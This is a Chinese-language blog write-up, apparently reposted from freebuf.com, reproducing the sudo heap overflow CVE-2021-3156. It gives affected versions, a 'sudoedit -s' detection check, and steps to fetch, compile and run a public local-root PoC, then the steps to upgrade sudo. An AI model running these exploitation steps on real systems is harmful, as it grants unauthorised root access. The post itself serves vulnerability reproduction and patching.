Linux sudo权限提升漏洞复现(CVE-2021-3156) – 作者:安全小白zwt

一、漏洞背景

1月26日,Sudo发布安全通告,修复了一个类Unix操作系统在命令参数中转义反斜杠时存在基于堆的缓冲区溢出漏洞。当sudo通过 -s 或 -i 命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用 -s 或 -i 标志运行 sudoedit 时,实际上并未进行转义,从而可能导致缓冲区溢出。因此只要存在sudoers文件(通常是 /etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。

二、影响版本

sudo 1.8.2 – 1.8.31p2

sudo 1.9.0 – 1.9.5p1

三、漏洞检测

查看sudo版本

命令:sudo –version

图片[1]-Linux sudo权限提升漏洞复现(CVE-2021-3156) – 作者:安全小白zwt-安全小百科

POC:

sudoedit -s ‘\’

图片[2]-Linux sudo权限提升漏洞复现(CVE-2021-3156) – 作者:安全小白zwt-安全小百科

若返回如图以“ sudoedit:”开头的错误,则当前系统可能存在安全风险。

不受影响的系统将显示以“ usage:”开头的错误。

四、漏洞利用

漏洞POC:https://haxx.in/CVE-2021-3156_nss_poc_ubuntu.tar.gz

命令:

tar -xvzf CVE-2021-3156_nss_poc_ubuntu.tar.gz

make &&./sudo-hax-me-a-sandwich 0

图片[3]-Linux sudo权限提升漏洞复现(CVE-2021-3156) – 作者:安全小白zwt-安全小百科

五、漏洞修复

下载最新的sudo版本

https://www.sudo.ws/download.html

命令:

wget “https://www.sudo.ws/dist/sudo-1.9.5p2.tar.gz”

tar -xvzf sudo-1.9.5p2.tar.gz

cd sudo-1.9.5p2

./configure

make && sudo make install

bash -c “sudo –version”

图片[4]-Linux sudo权限提升漏洞复现(CVE-2021-3156) – 作者:安全小白zwt-安全小百科

来源:freebuf.com 2021-02-01 11:20:17 by: 安全小白zwt

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论